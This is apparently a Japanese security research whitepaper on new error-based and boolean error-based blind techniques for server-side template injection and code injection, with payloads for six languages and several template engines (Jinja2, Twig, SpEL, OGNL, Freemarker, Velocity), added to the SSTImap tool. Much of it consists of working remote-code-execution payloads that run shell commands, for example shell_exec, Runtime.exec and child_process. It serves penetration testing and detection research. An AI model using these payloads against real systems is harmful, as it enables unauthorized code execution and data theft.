
エラーベースおよびブールエラーベースのブラインド手法を用いたSSTI(サーバーサイドテンプレートインジェクション)とコードインジェクションに関するホワイトペーパー。6つのプログラミング言語に対応したユニバーサルペイロードと、SSTImapへの統合を含む。
[!NOTE] これは、SSTImap バージョン 1.3.1 をリリースする前に私が発表した結果に基づくホワイトペーパーの第2版です。 さらなる改良は、後日研究のバージョン1.2としてこの形式に適合させます。
脆弱性のカテゴリの中には、一見するとよく知られていて、ある程度明白に思えるものもあります。 それらの脆弱性に対して考えられるすべての手法が知られており、珍しいケースに対するペイロードだけが発見される可能性があるように思えるかもしれません。 サーバーサイドテンプレートインジェクション (SSTI) と コードインジェクション は、しばしばそのようなよく知られたカテゴリと見なされます。
時には、それらの脆弱性に対して、自己説明的な名前を持つ新しい手法が遭遇することがあります。 多くの研究者は、それらの手法もよく知られていると考えたり、あるいは使用したことを覚えていたりするかもしれませんが、 実際には、その手法は共通の名前として存在するだけで、研究や説明、普遍的なペイロードは存在しない場合があります。 非常に特殊なケースに対するペイロードと一緒に数回言及されるかもしれませんが、 テストされることはなく、その手法の真の可能性は何年も発見されないままになる可能性があります。
この研究では、コードインジェクションとSSTIのための2つの新しい手法を紹介します:エラーベース と ブールエラーベースのブラインド。 私は、Python、PHP、Java、Ruby、NodeJS、Elixir の6つのプログラミング言語で、コードインジェクションとSSTIのためのペイロードを提供します。 さらに、ブラインドインジェクションでさえも迅速に検出できる、汎用的な検出ペイロードを提供します。
初期のきっかけから最終的な結論に至るまでの、私の研究の完全なタイムラインを提供します。 また、この研究で言及されていないプログラミング言語やテンプレートのための新しいペイロードを作成するプロセスについても探求します。
この研究では、新しい手法の実用的な応用例を示し、さらなる研究の可能性のある分野を共有します。 提供されるすべてのペイロードは、実際のアプリケーションにおける脆弱性の検出と悪用に使用できます。 さらに、提供されるすべてのペイロードはオープンソースツール SSTImap に追加されており、この研究の結果を実際のターゲットに適用することを容易にします。
サーバーサイドテンプレートインジェクションの脆弱性は、サーバーサイドレンダリングにテンプレートエンジンを使用する動的ウェブサイトにおいて、 信頼できないユーザー入力が、テンプレートエンジンによって処理される前にテンプレートに挿入された場合に発生します。 悪意のある攻撃者は、有効なテンプレート構文を挿入し、ページレンダリング中にテンプレートエンジンによって処理される可能性があります。 多くのテンプレートエンジンは、何らかの形式のコード実行機能を提供しており、これはしばしばターゲットサーバーでの リモートコード実行 (RCE) につながります。 この研究は、悪用された場合にそのような機能を提供するテンプレートエンジンに焦点を当てています。
SSTIの脆弱性は2015年から知られており、その間に情報の窃取、フィルターのバイパス、サンドボックスエスケープを提供する多くのペイロードが発見されました。 それにもかかわらず、ほとんどのペイロードは、結果をページに直接レンダリングするか、コード実行自体の事実に焦点を当てており、そのコードによって生成された結果を破棄しています。

もう一つのよく知られたSSTIの手法は、時間ベースのブラインドであり、実行されたシェルコマンドに遅延を追加することを含みます。 この手法により、注入されたコード実行の成功を判断することができますが、OSコマンド実行のペイロードを推測する必要があり、 研究者にとって未知のテンプレートエンジンでのブラインドSSTIの検出が難しくなります。

SSTIの脆弱性クラスと、既知の悪用手法の両方は、2015年にJames Kettleによって発見されました。 これらの手法は、彼の研究 "Server-Side Template Injection: RCE For The Modern Web App" で非常に詳細に説明されています。[^1] それから10年の間に、新しい悪用手法は文書化されていません。 2023年に、ポリグロットペイロードを使用して複数のテンプレートエンジンを同時にテストする1つの検出手法のみが発見されました。 この手法はMaximilian Hildebrandによって発見され、彼の研究 "Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning" で説明されています。[^2] この手法は、最小限のリクエストでテンプレートエンジンを特定することに焦点を当てていますが、単純なインジェクションコンテキストでのみ機能します。

PHP、NodeJS、Pythonなどのインタプリタ型プログラミング言語に基づくテンプレートエンジンの大部分は、対応するプログラミング言語の式を直接評価することを許可しています。 この機能により、テンプレートタグの正しい形式でラップすることで、より広範なコードインジェクション脆弱性カテゴリのペイロードを使用できます。
コードインジェクションは、SSTIなしでも発生する可能性があり、信頼できないユーザー入力が eval() または同様の危険な関数に到達した場合に発生します。
コードインジェクションの悪用は、対応する言語でのプログラミングに過ぎないと考えられることが多く、
そのため、手法やペイロードは特定の脆弱性の例についてのみ文書化されており、ターゲットアプリケーションに合わせたコードの調整が必要です。
コードインジェクションとSSTIのためのより普遍的な検出手法が欠如しているため、ブラインドコードインジェクションとテンプレートインジェクションのブラックボックススキャンが非効率的になっています。
この研究では、コードインジェクションとSSTIのための2つの新しい手法と、6つのプログラミング言語のペイロード、および汎用的な検出ペイロードを提供します。 提供される手法は、ブラインドSSTIの悪用の能力を拡張し、注入されたコードのプログラミング言語を推測することなく、ブラインドコードインジェクションとSSTIのスキャンを可能にします。
この研究で提供されるペイロードは、実際のウェブアプリケーションの実践的なペネトレーションテストを目的としています。 提示されたすべてのペイロードは、SSTIとコードインジェクションを検出するためのオープンソースツール SSTImap のモジュールにも組み込まれています。[^3] 2つの新しい手法と対応するペイロードのサポートは、バージョン 1.3.0 で追加されました。 この研究で提供される、新しい手法の実用的な応用のためのより汎用的でない、より具体的なペイロードは、 "extra" モジュール専用のリポジトリにある、追加のSSTImapモジュールに組み込まれています。[^4]
SSTImapモジュールのペイロードを開発している際、私はこの研究で提示する手法につながる、きっかけとなる制約と発見に遭遇しました。 既存の手法を使用して、注入されたコードから出力を取得することが不可能な、さまざまなSSTIおよびコードインジェクションのシナリオに遭遇しました。 そのような制約に直面したとき、私は出力を取得するためのさまざまなアイデアをテストし、最終的にこの研究で文書化された2つの新しい手法の発見につながりました。
潜在的な制限を示す最初のきっかけは、Dust.JS テンプレートエンジンのペイロードを更新しているときに遭遇しました。 このエンジンは時代遅れと見なされ、放棄されているように見えますが、コード実行は2015年の古いバージョンの dustjs-helpers でのみ可能でした。 このエンジンのSSTImapモジュールは Tplmap のコードベースから継承されており、[^5] 改良は優先度の低いタスクでしたが、単純なロジックレスのテンプレートエンジンの場合、多くの誤検出を引き起こしていました。

問題を修正するためにペイロードを改良しましたが、このテンプレートエンジンとそのペイロードが私の注意を引きました。
コードインジェクションは if ブロックの条件内で可能であり、直接 eval() に渡されていました。[^6]
結果はページに表示されなかったため、リフレクテッドSSTIの場合でもRCEは常にブラインドであると考えられました。

当時、時代遅れのテンプレートエンジンを調査して新しいペイロードを作成することは、私の優先順位リストで非常に低かったため、出力を取得する可能性のある方法を調査しないことにしました。
2番目のきっかけは、Twig テンプレートエンジンの新しいバージョン用のペイロードを開発しているときに遭遇しました。 初期のバージョン用のペイロードはすでに修正されていたため、更新されたペイロードを持つ新しいモジュールを作成することにしました。 Twigを悪用するためのより現代的な方法を探しているうちに、CVE-2022-23614を発見しました。これは、現代のバージョンで一般的なペイロードの1つを使用してサンドボックスバイパスを可能にするものです。[^7]
新しいSSTImapモジュールでは、そのサンドボックスバイパスの悪用が可能なペイロードを使用することにしました。これは、現代のペイロードで悪用可能なほぼすべてのTwigバージョンで機能するためです。
サンドボックスバイパスは、PHP関数名を含む文字列を |sort フィルターのパラメーターとして渡すことで可能になり、
テンプレートがその関数を2つの配列要素を引数として呼び出す原因となります。
Dust.JSの場合と同様に、関数の出力は内部的に条件(この場合は配列のソート)として使用されるため、テンプレートコンテキストに戻されません。
この制限は悪用を妨げるものではなく、PHPの system() 関数はOSコマンド実行の結果をウェブページに直接出力するため、テンプレートエンジンをバイパスして出力を取得できます。
テンプレートエンジン内で出力を取得する可能性について、何らかのバイパスや新しいSSTI悪用手法の一部としての潜在的な応用のために、好奇心を持ちました。 Twig用の新しいモジュールを作成するためには必要ではなかったため、テンプレート内でのインジェクション結果へのアクセスのための新しいペイロードを開発するための時間を割り当てないことにしました。

Node.JS モジュール JSONPath Plus のバージョン 10.3.0 以前における CVE-2025-1302 の脆弱性により、jsonpath の拡張条件構文内で関数コンストラクタにアクセスすることで、任意のJavaScriptコードの注入が可能になります。[^8] サーバーサイドのjsonpathインジェクションの場合のCVE-2025-1302の自動検出と悪用のために、新しい追加のSSTImapモジュールを作成することにしました。

Dust.JSと同様に、コードインジェクションは条件内でのみ可能であったため、出力を取得してページにレンダリングする直接的な方法はありませんでした。 それにもかかわらず、私は出力を抽出する可能性を研究することにしました。これにより、最終的にこの研究で議論される発見を引き起こした3番目のきっかけにつながりました。
JSONPath Plus モジュールは、JSONオブジェクト内のデータにアクセスするために使用されます。
JavaScriptのような多くのインタプリタ型プログラミング言語では、これらのオブジェクトはリソース消費を制限するために暗黙的にポインタとして動作することがよくあります。
同時に、JSONPath Plus モジュールは、@root 構文を使用して検索されているオブジェクトへのアクセスを許可します。
私は、条件内の注入されたコードにそのオブジェクトを渡す方法を見つけました。これにより、オブジェクト属性内に出力を保存し、注入されたjsonpath構文を使用してアクセスすることができました。
この方法は、リフレクテッドコードインジェクションシナリオの悪用可能なインジェクションコンテキストを大幅に制限するため、普遍的な出力アクセス方法には程遠いものです。 プロトタイプ汚染など、出力を抽出する他の潜在的な方法を研究しましたが、より普遍的な手法を発見することはできませんでした。 それにもかかわらず、今回は条件から出力を抽出することができました。
これまでのすべてのケースとは異なり、ペイロード開発中に制限に遭遇しましたが、この研究につながる最後のきっかけは、実際のアプリケーションを探索中に発見されました。 私はDiscord用のコードなしのボットコンストラクターをテストしていました。これにより、ユーザーはメッセージテンプレートをカスタマイズできました。 その目的で使用されているテンプレートエンジン自体はコードを評価していませんでしたが、数式を評価するための専用のタグがありました。
そのタグによって返されるさまざまなエラーメッセージを調べることで、式が expr-eval と呼ばれるNode.JS モジュールを使用して評価されていると判断しました。
このモジュールは、オブジェクトコンストラクタへのアクセスを通じてRCEを可能にし、任意のプロパティアクセスを許可します (CVE-2025-13204)。
テンプレートタグの構文を壊さないようにペイロードを変更しましたが、コード実行の結果ではなく、NaN しか得られませんでした。

expr-eval からの結果はテンプレートエンジンによって数値に変換されるようです。これにより、コード実行出力のリフレクションが妨げられます。 ただし、結果が数値に変換されるのは、評価が成功した場合のみです。 エラーの場合、テンプレートはタグをエラーの全文に置き換え、場合によってはコードの一部が含まれます。

私は、エラーメッセージのそれらの部分を通じてコード実行結果を抽出する可能性を調査することにしました。 特定のエラーメッセージを通じてSQLクエリを抽出することを可能にする手法が存在します。[^9] コードインジェクションとSSTIに対しても同様の手法が存在すると仮定しました。

"Error-based SSTI" およびその他のSSTIおよびコードインジェクション手法の可能性のある名前を検索しようとしましたが、 2023年の単一の研究論文と、エラーメッセージを調べてテンプレートエンジンを特定する手法からのエラーベースのポリグロットしか見つけることができませんでした。 私が探していたものにほぼ類似していた唯一の結果は、研究者 Nicolas Verdier によって作成された Freemarker テンプレート用の単一のペイロードでした。[^10]

そのペイロードは、条件付きでエラーをトリガーすることにより、ブラインドインジェクションの場合のコード実行の成功を判断することを可能にしました。 SQLインジェクションにも同様の手法が存在し、コードインジェクションとSSTIでも同様の手法が機能する可能性があるという私の仮定を裏付けました。
私が探していた手法はこれまで文書化されていなかったことに気づき、必要なペイロードを開発するためにこの研究を実施することにしました。 さらに、その手法を私のオープンソースツール SSTImap に追加することにしました。
私は、エラーメッセージの一部としてコード実行結果を含むエラーをトリガーすることを可能にするペイロードを開発することにしました。
同様の手法は、SQLインジェクションに対してすでに存在しています。
例えば、CONVERT(INT, …) はSQLで文字列を数値に変換します。
文字列が有効な数値を表していない場合、データベースはその文字列を含むエラーテキストを返します。
そのエラーメッセージがユーザーに表示されれば、ブラインドインジェクションであっても出力を取得できます。
同じアプローチをSSTIとコードインジェクションにも使用できます。 一部のエラーメッセージはユーザー提供のデータを反映するため、それらのエラーを使用して注入されたコードの出力を取得できます。

プログラミング言語は通常、ユーザーがカスタムエラーメッセージを作成することを許可していますが、脆弱性の悪用中にその機能を直接使用することは多くの場合不可能です。 ほとんどの場合、インジェクションは式の評価のみを許可しており、注入されたコードがエラーを発生させたり新しいエラークラスを作成するために必要な言語構造を使用することを妨げます。 より広いカバレッジのためにペイロードをより汎用的にするため、私は基本的な演算子、リテラル、関数呼び出しのみが許可される言語式コンテキストでのインジェクションに焦点を当てることにしました。
したがって、この手法を使用したSSTIとコードインジェクションの悪用では、ユーザー提供のデータを反映するエラーメッセージを見つける必要がありました。 ほとんどの場合、コードインジェクションペイロードは、ペイロードをテンプレートタグでラップすることにより、SSTIの悪用に使用できます。 この研究の一環として、私は5つのプログラミング言語(Python、PHP、Ruby、NodeJS、Elixir)のペイロードと、対応するプログラミング言語のペイロードと大きく異なる場合のSSTImapでサポートされているテンプレートエンジンに対するペイロードを取り上げます。 さらに、Javaベースのテンプレートエンジンに対するペイロードと、汎用的な検出ペイロードもこの論文で取り上げます。
研究の初めに、私は日常業務でよく使用するPythonプログラミング言語のペイロードを見つけることにしました。 最初は、SQLインジェクションと同じ原則を適用して、文字列を整数に変換しようとしました。 その場合、エラーメッセージは確かにユーザー提供の文字列を反映しますが、すぐに大きな文字列が切り捨てられ、最初の199文字のみが反映されることがわかりました。

私は、任意の長さのユーザー提供文字列の反映を可能にする他のエラーメッセージを探すことにしました。
getattr() 関数を使用して存在しない属性にアクセスすると、そのようなエラーが発生することがわかりました。
その結果、getattr("", OUTPUT) というペイロードが得られ、文字列 OUTPUT を長さ制限なく反映します。

このペイロードは、テストされたすべてのPythonベースのテンプレートエンジンで機能しますが、Jinja2 ではPythonの getattr() 関数を呼び出すためのいくつかの修正が必要です。```python3
{{ cycler.init.globals.builtins.getattr("", OUTPUT) }}
さらに、Jinja2テンプレートエンジンに対して、*TemplateNotFound*エラーを引き起こす別のペイロードを発見しました: `{% include OUTPUT %}`。このペイロードはSSTImapの旧Jinja2モジュールに追加されました。

### PHP
PHPコードインジェクションのエラーベースの悪用に関して、異なるテンプレートエンジンに対して様々な適用性を持つ複数のエラーメッセージを発見しました。
例えば、PHPでは文字列の内容と同名の関数として文字列を呼び出すことができます。
そのような関数が存在しない場合、生成されるエラーメッセージには指定された文字列全体が含まれます。
その結果、シンプルなペイロード `OUTPUT()` が得られます。
このペイロードはほとんどのテンプレートエンジンでは機能しないため、研究を続け、`fopen()` 関数を使用して存在しないファイルを開こうとしたときに発生するエラーを発見しました。
このペイロードはテストしたほぼすべてのテンプレートエンジンで機能します: `fopen(OUTPUT, "r")`
さらに、同様のエラーを引き起こす `include()` 関数を見つけました。
ペイロード `include(OUTPUT)` または類似のものは、テンプレート継承機能を提供するほとんどのテンプレートエンジンで使用できます。
`fopen()` および `include()` を使用したペイロードは一部のケースで失敗しました。これらの関数はPHPの**警告**を引き起こし、それがアクセスできないテンプレート出力内でレンダリングされる可能性があることが判明しました。
そこで、PHP固有の構文を使わずに文字列を関数として呼び出すために、`call_user_func()` を使用して最初のペイロードを修正することにしました。
その結果、ペイロード `call_user_func(OUTPUT)` が得られました。これは**致命的エラー**を引き起こし、レンダリングを中断してエラーメッセージをページに直接反映します。

RCEで一般的に使用される `system()` 関数は出力をページに表示しますが、結果の最初の行のみを返します。
完全な出力を取得するために `shell_exec()` を使用することにしました。
この関数は正確に1つの引数を受け付けるため、旧バージョンの**Twig**を含むほとんどのテンプレートエンジンでうまく機能しました:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}
新しいTwigバージョンでは、出力を保持するために|mapフィルタを使用しましたが、配列のインデックスが第二要素として渡されるため、shell_exec()関数を直接使用することができませんでした。その制限を回避するために、call_user_func()関数を使ってshell_exec()を呼び出し、さらに配列の代わりに辞書を使用してインデックス値を制御しました:```php
{% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}
Twigでエラーを発生させ、実行結果を取得するには、存在しない関数をトリガーする**fatal error**ペイロード: `{{ [0]|map(OUTPUT) }}` または存在しないファイルをインクルードする: `{% include(OUTPUT) %}` を使用します。

### Java
Javaには汎用的なコード評価機能が組み込まれていないため、Java向けの汎用ペイロードは存在しません。
代わりに、**Spring Expression Language** (**SpEL**) のような式言語が使用されます。
その言語では、文字列を数値に変換する簡単なトリックを使用できます。```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)
このペイロードは、他の類似した式言語でも機能します。SpEL 構文を確認するには、SpEL固有のクラスへのアクセス方法を使用します: T(java.lang.Integer).valueOf(OUTPUT) OSコマンド実行の結果を文字列として取得するには、次のペイロードを使用できます:```java
T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

Javaで使われるもう一つの一般的な式言語は**OGNL**です。
この言語は、ユーザー指定の文字列が算術演算で使用されると、その文字列を含むエラーを発生させます: `OUTPUT/0`
RCEの結果は、次のペイロードを使用して文字列に変換できます:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())
私は、SSTImapがサポートする2つのJavaベースのテンプレートエンジン用のペイロードも作成しました。
例えば、Freemarkerテンプレートでは、対応するクラスの名前を含む文字列に?new()フィルタを適用することで、限定的なオブジェクト構築が可能です。
そのようなクラスが存在しない場合、エラーメッセージには文字列全体が反映されます。
これは、単純なペイロードを作成するために使用できます: ${ OUTPUT?new() }

Velocityテンプレートエンジンは、#include()ディレクティブを使用したテンプレートインクルードをサポートしています。
存在しないテンプレートの場合、エラーメッセージには指定された名前が反映されます: #include(OUTPUT)

Ruby用のペイロードは、コードインジェクションとSSTIの両方に使用でき、存在しないファイルにアクセスしたときにトリガーされるエラーを利用します。これはこの手法で一般的です: File.read(OUTPUT)

NodeJSにおけるエラーベースのコードインジェクションでは、require()関数を使用して存在しないモジュールを含めることでエラーをトリガーできます。これがインジェクションコンテキストでアクセス可能な場合: require(OUTPUT)
あるいは、JavaScriptはundefinedのプロパティにアクセスすることで反映エラーをトリガーします: ""["x"][OUTPUT]
Elixirプログラミング言語は、文字列がatomオブジェクトの代わりにリストのインデックスとして使用された場合、その文字列をエラーメッセージ内に反映します: [1, 2][OUTPUT]
OSコマンド実行の結果は、[1, 2][elem(System.shell(" … "), 0)]を使用して反映できます。

SSTIおよびコードインジェクションのエラーベース検出には、任意のプログラミング言語でエラーをトリガーするペイロードが必要です。 その場合、典型的なエラーメッセージによってプログラミング言語を検出するか、少なくともエラーの存在を示すキーワードを見つけることが可能です。プログラミング言語がまだサポートされていない場合でも同様です。
このようなペイロードを作成するための私の最初のアイデアは、ゼロ除算を使用することでしたが、JavaScriptのような一部のプログラミング言語はそのようなペイロードをエラーとして扱わず、単にNaNを返します。
これらのケースに対処するために、未定義関数の呼び出しを追加することにしました: (1/0)+zxy()
新しいペイロードはNodeJSでエラーをトリガーしましたが、一部のPHPベースのテンプレートエンジンでは異なる構文エラーをトリガーし、プログラミング言語の検出が複雑になりました。
テンプレート解析中に存在しない関数が早期に検出されるのを避けるため、undefinedのプロパティにアクセスすることでトリガーされるエラーを使用するようにペイロードを更新することにしました。
属性アクセスは最初の部分の評価を必要としますが、PHPの文字列連結の場合、すべての部分が実行時に評価され、ゼロ除算から始まります。
その結果、汎用インジェクションの場合に冗長なエラーメッセージの反映を検出できるペイロードを作成しました: (1/0).zxy.zxy
SSTImapモジュールでは、サポートされている5つのプログラミング言語すべての典型的なエラーメッセージの検出と、プログラミング言語またはテンプレートエンジンがまだサポートされていない場合にエラータイプを検出するためのキーワード検索を追加しました。

冗長なエラー反映を検出し、エラーテキストからプログラミング言語を特定した後も、エラーベースのRCEのためのペイロードを作成するために、ユーザー提供の値を反映するエラーメッセージを見つける必要があります。
通常、このようなエラーは、存在しないファイルやモジュールにアクセスしたとき、nullやundefinedのような特別なオブジェクトとの異常な相互作用のとき、および存在しない関数、クラス、属性の場合にトリガーされます。
これとは対照的に、構文エラーはデータ流出機能を提供しません。なぜなら、インジェクションされたコードが評価される前にテンプレート解析を中断するからです。
自動化された悪用を成功させるには、長いテキストや複数行のテキストが切り詰められないようにする必要があります。
さらに、結果がエラーをトリガーしない有効なものと等しくなる状況を防ぐことが重要です。
そのような場合、出力を無効にするプレフィックスを追加する必要があります。
例えば、ターゲットのWebサイトがY:/A:/で始まるファイル、クラス、属性を持つ可能性は非常に低いです。
最近のWebサーバーやアプリケーションのほとんどは、冗長なエラー出力を無効にしており、エラーベースのコードインジェクションやSSTIの悪用を防いでいます。 そのような場合、エラーメッセージの全文を取得することは不可能ですが、エラー自体は通常検出可能です。 これにより、条件的にトリガーされるエラーを検出することで、ブラインドインジェクションの成功を判断できます。

実際、異なるレスポンスがブラインドインジェクションの結果を露呈させる可能性があります。
例えば、ブールベースのブラインドSQLインジェクションでは、AND SUBSTRING((…), 1, 1) = 's'のようなペイロードは、ターゲット値が文字sで始まる場合にのみ結果を返します。
この手法は、結果が返されない場合のアプリケーションの動作の違いに基づいています。
これは、コードインジェクションやSSTIのほとんどのケースには適用できません。

しかし、エラーベースのブラインドSQLインジェクションと呼ばれる類似の手法が存在します。これは、ターゲット値を用いて条件的にエラーをトリガーし、一方のケースでのみエラーを発生させ、もう一方のケースでは中断させないものです: CASE WHEN 1=1 THEN 1 ELSE json('') END

このような手法は、コードインジェクションやSSTIに適応させることができます。 さらに、私は以前にこの手法のペイロードに遭遇したことがあります。 それは、この研究で前述したNicolas VerdierによるFreemarkerテンプレートエンジン用のペイロードでした。[^10]

プログラミング言語は、どのコードが実行されるかを決定する条件をすでに許可しています。 これは、特別な言語構造や演算子を使用することで達成できます。 しかし、エラーベースの手法と同様に、より汎用的なコードインジェクションペイロードでは言語構造を避けることにしました。それらは多くのインジェクションコンテキストでアクセスできないためです。 また、三項条件演算子の使用も避けることにしました。このような複雑な演算子は、多くのテンプレートエンジンや独自のパーサーを使用する他のインジェクションコンテキストでサポートされていない可能性があるためです。
誤検出を避けるために、インジェクションが有効な結果を提供しなかった場合にエラーをトリガーするようにする必要があります。なぜなら、インジェクションによって意図的にトリガーされたエラーと、ペイロードが引き起こした可能性のある他のエラーを区別できない可能性があるからです。
ブールエラーベースのブラインドコードインジェクションおよびSSTIのテストを自動化するには、サーバーレスポンス内のエラーを検出する方法が必要です。 ユーザーは正規表現を提供して通常ページまたはエラーページを検出できますが、レスポンスコードや長さ、ヘッダー、その他のパラメータを通常のレスポンスの対応するパラメータと比較することでもエラーを検出できます。
どのアプローチを選択しても、類似したペイロードの2組を使用する必要があります。 各ペア内のペイロード間の最小限の違いは、WAFやプロキシからのエラーによる誤検出を避け、2つのペアを使用することでランダムな外部問題による誤検出を軽減します。
アプリケーションの通常のレスポンスを決定するために、ほとんどのインジェクションコンテキストで構文エラーを避けるために数値ペイロードを使用することにしました。 複数のレスポンスを比較して、アプリケーションのレスポンスの最も安定したパラメータを決定します。 最初のリクエストは、新しいIPアドレスからの最初の接続時にアプリケーションが行う可能性のあるアクションからの干渉を避けるために破棄されます。
リクエスト比較のために複数のパラメータが選択されました:
パラメータは、すべての応答で同じままであるか、平均から**5%**以内で変動する場合(数値の場合)、安定していると見なされます。

インジェクション結果の真偽を判断するために、ブール値による除算を使用できます。
真の値は1に変換され、エラーをトリガーしませんが、偽と評価される値はゼロ除算エラーをトリガーします。
この式をペイロードとして使用できます: 1 / ( OUTPUT )
インジェクションを検出するために、次の2つのペイロードペアを使用できます:
'a'.join('bc') == 'bac' および 'a'.join('bc') == 'abc'bool('False') == True および bool('True') == Falseコード実行はbool(eval( … ))を使用して可能であり、OSコマンド実行はPython 3.6以降ではos.popen( … )._proc.wait() == 0で確認できます。
ほとんどのPythonベースのテンプレートエンジンでは、これらのペイロードをそのまま使用できますが、Jinja2は組み込みPython関数への直接アクセスを許可していません。 その結果、Jinja2のペイロードは少し複雑です:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

### PHP
PHP では、インジェクションの成功を判断するために `1 / ( … )` のようなペイロードを使用することもできます。
インジェクションを検出するために、以下の2つのペイロードペアが選ばれました。
- `'2' + '3' == 5` と `'2' + '5' == 3`
- `strlen('2') == 1` と `strlen('1') == 2`
コード評価の結果は `true && eval( … )` を使用してアクセスでき、OSコマンド実行のリターンコードは `pclose(popen( … , "wb")) == 0` で確認できます。
これらのペイロードは、テストされたすべてのテンプレートエンジン(**Twig** を除く)で動作します。
古いバージョンの Twig テンプレートエンジンでは、以下のようなペイロードを使用できます。```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}}
リターンコードを取得することは不可能であるため、成功時にテンプレートエンジンがチェックできるように、既知の文字列が出力の末尾に追加されます。 同様のアプローチは、新しいバージョンのTwigでも機能します:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

### Java
繰り返しになるが、Javaコード評価の普遍的な方法が存在しないため、サポートされている各テンプレートエンジンに対して異なるペイロードを作成する必要がある。
**Spring Expression Language** の場合、私は以前と同じアイデアを使用したが、型変換のためにいくつかの追加修正が必要だった: `1/(( … )?1:0)+""`
三項演算子は結果を `0` または `1` に変換するために使用され、空文字列の連結は不正な戻り値の型によるエラーを回避するために用いられる。
検出ペイロードについては、`1` を `"".getClass().forName('java.lang.Integer').valueOf('1')` に置き換えた。これにより、インジェクションが **Java** コードをサポートしていることを確認できる。
2組の検出ペイロードでは、単純な整数加算を使用し、2組目では整数オーバーフローを確認した。
OSコマンドの実行は、`waitFor()` 関数の戻りコードをゼロと比較することで確認した:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0
これらのペイロードは、他の類似した式言語でも機能します。
SpELインジェクションを確認するには、それらをSpEL固有のペイロードに置き換えます:T(java.lang.Integer).valueOf('1') および T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

OGNL式のペイロードはSpELペイロードと似ています。
整数加算を使用した同じペイロードペアと、同じオラクルを使用しました:1/((…)?1:0)+""
OGNL構文は、1を@java.lang.Integer@valueOf('1')に置き換えることで確認できます。
SpELと同様に、waitFor()を使用してOSコマンドのリターンコードを取得できます:```java
@java.lang.Runtime@getRuntime().exec("…").waitFor()==0
**OGNL**が暗黙的に型変換を行う特異な方法についても言及しておく価値があります。
演算の順序に加えて、以前に計算された値も変換に影響を与えます。
`1 * (123 + 456) + "abc" + 1 * (123 + 456)` のようなペイロードは期待どおりの結果 `"579abc579"` を得られますが、同様のペイロード `(123 + 456) + "abc" + (123 + 456)` は整数を文字列に変換し始め、`"579abc123456"` を返します。

**Freemarker** のメインペイロードは、すでに Nicolas Verdier によって作成されました [^10]:```java
${1/((…)?string('1','0')?eval)}
シンプルなペイロードペアが検出に使用されました。メインペイロードの構文によってテンプレートエンジンがすでに確認されているためです:
1.0 == 1.0 と 1.0 == 0.12 > 1 と 1 > 2OSコマンド実行の結果を確認するために、以前Twigで使用したテクニックを使用することにしました:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

Velocity テンプレートエンジンでは、`#if` および `#include` ディレクティブを使用できます:
- `#if(false)#include("Y:/A:/true")#end` および `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` および `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`
OS コマンド実行を確認するには、レンダリングインジェクション用の通常のペイロードを変更できます:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

Ruby では、整数からブーリアンへの直接の変換方法はありません。そのため、ペイロードは少し複雑になります: 1/(!!( ... )&&1||0)
これらのペイロードペアを使用して Ruby インジェクションを確認できます:
(2 + 3).to_s == '5' and (2 + 5).to_s == '3''2'.length == 1 and '1'.length == 2コード評価の結果は !!eval( ... ) を使用して確認でき、実行されたOSコマンドの成功は system( … ) を使用して確認できますが、これはレンダリングされたインジェクションには使用されません。なぜなら、出力自体を返さないからです。
NodeJS では、ゼロによる除算はエラーを発生させないため、ペイロードは代わりに undefined またはリストの既存の要素の属性へのアクセスを使用します: [""][0 + !( … )]["length"]
以下の2つのペアは、NodeJS が注入された言語であることを確認するために使用されます:
typeof(1) + 2 == "number2" and typeof(2) + 1 == "number2"parseInt("5x") == 5 and parseInt("x5") == 5コード評価は eval() を使用して直接確認でき、実行されたOSコマンドの戻りコードは NodeJS バージョン5.7以上で以下のペイロードを使用して確認できます:```node
require('child_process').spawnSync( … , options={shell:true}).status===0
### Elixir
**Elixir** では、ゼロ除算をオラクルとして使用できますが、整数への明示的な変換が必要です。その結果、ペイロード `1/(( … )&&1||0)` を使用できます。
次のペイロードの組み合わせを使用して、**Elixir** の構文を確認できます。
- `String.length("2") == 1` と `String.length("1") == 2`
- `is_boolean(false) == true` と `is_boolean(true) == false`
`eval()` コード評価の結果をチェックし、OS コマンドの戻りコードを比較することは、次のペイロードで直接行えます: `elem(Code.eval_string( … ), 0)` および `elem(System.shell( … ), 1) == 0`
### 汎用検出
すべてのプログラミング言語には独自の関数名があるため、汎用検出に機能する関数を見つけることは不可能です。それにもかかわらず、ほとんどすべての言語が基本的な数学演算にまったく同じ構文を使用します。これにより、構文エラーを汎用検出に利用できます:
- `(3*4/2)` と `3*)2(/4`
- `((7*8)/(2*4))` と `7)(*)8)(2/(*4`
このコードインジェクションおよび SSTI の汎用検出方法は、すべてのプログラミング言語やテンプレートエンジンのサポートを個別に追加する必要がなく自動化でき、ブラックボックスアプローチによるコードインジェクションと SSTI の迅速な検出の可能性を広げます。

### ペイロード開発
ブラインドインジェクションを検出した後のペイロード作成では、ゼロ除算やリストや辞書に存在しない要素へのアクセスの一般的なエラーを確認できます。さらに、既知のテンプレートエンジンでは、`if` 文を使用して条件付きで任意のエラーをトリガーできます。
自動検出の場合、一意の関数名、構文機能、または暗黙の型変換を使用してペイロードペアを作成できます。
